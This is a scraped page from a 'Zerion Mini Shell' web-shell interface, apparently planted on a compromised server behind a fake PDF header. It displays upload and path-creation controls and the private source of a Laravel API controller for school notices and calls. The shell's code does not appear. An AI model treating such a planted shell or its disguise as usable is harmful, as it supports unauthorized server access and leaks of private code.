%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/camillo/camillo-api-master/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : //var/www/html/camillo/camillo-api-master/app/Http/Controllers/Api/v1/HooksController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Enums\NoticeStatusEnum;
use App\Http\Controllers\Controller;
use App\Http\Requests\XcallyRequest;
use App\Jobs\CallGenerator;
use App\Models\Notice;
use App\Services\HookService;
use App\Services\XcallyService;
use App\Traits\ApiUser;
use App\Traits\EventEmitterTrait;
use App\Traits\NoticeHandlerTrait;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Log;

class HooksController extends Controller
{

    use ApiUser;
    use EventEmitterTrait;
    use NoticeHandlerTrait;

    //TODO remove
    public function test(Request $request)
    {
        $call = (new \App\Jobs\CallGenerator())->handle();
    }

    public function missedTest(Request $request)
    {
        $missedCalls = (new \App\Jobs\MissedCallsTracker())->handle();
    }

    /**
     * @param XcallyRequest|Request $request
     * @return \Illuminate\Contracts\Routing\ResponseFactory|Response
     */
    public function xcally(XcallyRequest $request)
    {
        $validated = $request->validated();

        $hookService = (new HookService($validated));
        $hookService->handle();
    }


    //TODO eliminare dopo fiera
    public function emergencyCall(Request $request)
    {
        $user = $this->getLoggedUser();

        $individual = $user->individual;
        $minor = $individual->minors->first();
        $classroom = $minor->getExpectedClassroom();
        $institute = $classroom->institute;
        $schoolyear = $classroom->schoolyear;

        $notice = new Notice([
            'id' => 9999999,
            'institute_id' => $institute->id,
            'classroom_id' => $classroom->id,
            'minor_id' => $minor->id,
            'individual_id' => $individual->id,
            'schoolyear_id' => $schoolyear->id,
            'status' => "pending",
            'user_id' => $user->id,
            'content' => "Chiamata d'emergenza",
            'urgency' => "high",
            'start_date' => date("Y-m-d"),
            'end_date' => date("Y-m-d"),
            'active' => 1,
            'status' => "pending"
        ]);

        // $service = new XcallyService;
        // $service->forwardCall($notice);

        return response(Response::HTTP_OK);
    }

    /**
     * @param Request $request
     */
    public function startJob(Request $request)
    {
        Log::channel('database')->info("Hook called by Missed Calls Handler");
        $job = (new CallGenerator());
        $job->handle();
    }
}

Zerion Mini Shell 1.0